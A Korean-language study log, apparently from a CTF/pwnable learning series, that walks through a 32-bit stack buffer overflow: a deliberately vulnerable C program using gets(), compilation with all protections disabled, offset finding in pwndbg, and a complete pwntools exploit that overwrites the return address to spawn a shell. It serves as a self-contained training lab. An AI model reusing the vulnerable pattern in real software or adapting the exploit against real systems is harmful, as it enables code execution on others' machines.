#2025-10-07-(화)
🛠️ 환경 설정
개발 환경
- OS: Ubuntu (UTM)
- Editor: VSCode (SSH 연결)
- 언어: C, Python3
설치한 도구들
bash
# 기본 도구
sudo apt update
sudo apt install -y gdb gdb-multiarch gcc make git
# Python & pwntools
sudo apt install -y python3 python3-pip
pip3 install pwntools
# pwndbg (GDB 플러그인)
cd ~
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
Buffer Overflow란?
기본 개념
**Buffer Overflow (BOF)**는 버퍼에 할당된 크기보다 많은 데이터를 입력하여 인접한 메모리를 덮어쓰는 취약점입니다.
공격 원리
정상 스택:
┌─────────────────┐
│ Return Address │ ← main으로 복귀
├─────────────────┤
│ Saved EBP │
├─────────────────┤
│ buffer[16] │ ← 입력 저장
└─────────────────┘
공격 후:
┌─────────────────┐
│ 0x08049196 │ ← win() 주소로 변조!
├─────────────────┤
│ AAAA │ ← 오버플로우
├─────────────────┤
│ AAAAAAAAAA... │ ← 버퍼 오버플로우
└─────────────────┘
핵심: Return Address를 조작하여 프로그램 흐름을 원하는 함수로 변경
취약점 분석 위한 예시 코드 작성 (test.c)
c
#include <stdio.h>
#include <stdlib.h>
void win() {
printf("🎉 You win!\n");
system("/bin/sh");
}
void vuln() {
char buffer[16];
printf("Input: ");
gets(buffer); // 취약한 함수!
printf("You entered: %s\n", buffer);
}
int main() {
vuln();
return 0;
}
취약점 분석
- gets() 함수: 입력 길이를 체크하지 않음
- 목표: 절대 호출되지 않는 win() 함수 실행
- 방법: Return Address를 win() 주소로 덮어쓰기
🔧 컴파일
bash
# 보호기법을 모두 끄고 컴파일
gcc -o test test.c -m32 -fno-stack-protector -z execstack -no-pie -Wl,-z,norelro
컴파일 옵션 설명
옵션설명
-m32 | 32비트로 컴파일 |
-fno-stack-protector | Stack Canary 비활성화 |
-z execstack | 스택 실행 가능 (NX 비활성화) |
-no-pie | PIE 비활성화 |
-Wl,-z,norelro | RELRO 비활성화 |
보호기법 확인
bash
checksec ./test
출력:
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found ← 중요!
NX: NX disabled
PIE: No PIE
GDB로 분석
1. win() 함수 주소 찾기
bash
gdb ./test
pwndbg> print win
$1 = {void ()} 0x8049196 <win>
win() 주소: 0x08049196
2. 정확한 오프셋 찾기
bash
pwndbg> cyclic 50
pwndbg> run
Input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
# [크래시 발생]
pwndbg> cyclic -l $eip
Finding cyclic pattern of 4 bytes: b'haaa' (hex: 0x68616161)
Found at offset 28
결과: Return Address까지 28바이트
3. 스택 구조 확인
pwndbg> disassemble vuln
...
lea eax,[ebp-0x1c] # buffer 위치 (ebp-28)
익스플로잇 작성 (exploit.py)
python
from pwn import *
# 프로세스 실행
p = process('./test')
# win() 함수 주소
win_addr = 0x08049196
# 페이로드 구성
payload = b'A' * 28 # buffer + saved_ebp (28바이트)
payload += p32(win_addr) # return address → win()
# 로그 출력
log.info(f"Sending payload with offset 28")
log.info(f"win() address: {hex(win_addr)}")
# 페이로드 전송
p.sendline(payload)
# 인터랙티브 모드 (쉘 사용)
p.interactive()
코드 설명
- process('./test'): 로컬 바이너리 실행
- p32(win_addr): 주소를 리틀 엔디안으로 변환
- p.sendline(payload): 페이로드 전송
- p.interactive(): 쉘과 상호작용 가능
실행 결과
$ python3 exploit.py
[+] Starting local process './test': pid 22289
[*] Sending payload with offset 28
[*] win() address: 0x8049196
[*] Switching to interactive mode
Input: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x91\x04\x08
You win
$ whoami
user
$
성공
- Return Address가 win() 주소로 변조됨
- win() 함수 실행
- /bin/sh 쉘 획득
공격 흐름 정리
1. 취약점 발견
└─> gets() 함수 (버퍼 오버플로우 가능)
2. 타겟 설정
└─> win() 함수 (0x08049196)
3. 오프셋 계산
└─> cyclic 패턴으로 28바이트 확인
4. 페이로드 작성
└─> 'A' * 28 + p32(win_addr)
5. 익스플로잇 실행
└─> 쉘 획득 성공! 🎉
핵심 개념 정리
Stack Canary 탐지 방법
어셈블리에서 확인:
assembly
mov eax, gs:0x14 # Canary 가져오기
mov DWORD PTR [ebp-0xc], eax # 스택에 저장
...
mov eax, DWORD PTR [ebp-0xc] # Canary 확인
sub eax, DWORD PTR gs:0x14 # 변조 체크
call __stack_chk_fail # 변조시 종료
포인트: gs:0x14, __stack_chk_fail 보이면 Canary 활성화!
32비트 vs 64비트
항목32비트 (x86)64비트 (x86-64)
레지스터 | EBP, ESP, EIP | RBP, RSP, RIP |
주소 크기 | 4바이트 | 8바이트 |
컴파일 | -m32 | -m64 (기본) |
pwntools | p32(addr) | p64(addr) |
배운 도구들
pwntools 주요 함수
python
from pwn import *
# 프로세스/네트워크
p = process('./binary')
p = remote('host', port)
# 데이터 변환
p32(0x12345678) # 32비트 리틀 엔디안
p64(0x12345678) # 64비트 리틀 엔디안
# 입출력
p.sendline(data)
p.recv()
p.interactive()
# 바이너리 분석
elf = ELF('./binary')
win_addr = elf.symbols['win']
GDB/pwndbg 명령어
bash
# 디스어셈블
disassemble main
# 주소 찾기
print win
# 오프셋 찾기
cyclic 50
cyclic -l $eip
# 레지스터 확인
info registers
# 메모리 확인
x/20wx $esp
트러블슈팅
문제 1: Stack Canary 켜져있음
증상:
mov eax, gs:0x14 # 이런 코드가 보임
call __stack_chk_fail
해결: -fno-stack-protector 옵션 추가
문제 2: 쉘이 안 뜸
원인: 오프셋이 틀렸을 가능성
해결: cyclic 패턴으로 정확한 오프셋 재확인
문제 3: 주소가 안 맞음
확인:
bash
gdb ./test
pwndbg> print win
매번 컴파일할 때마다 주소 확인!
📁 전체 코드
GitHub 저장소: suminworld-ctf/pwnable/day01
- test.c: 취약한 프로그램
- exploit.py: 익스플로잇 스크립트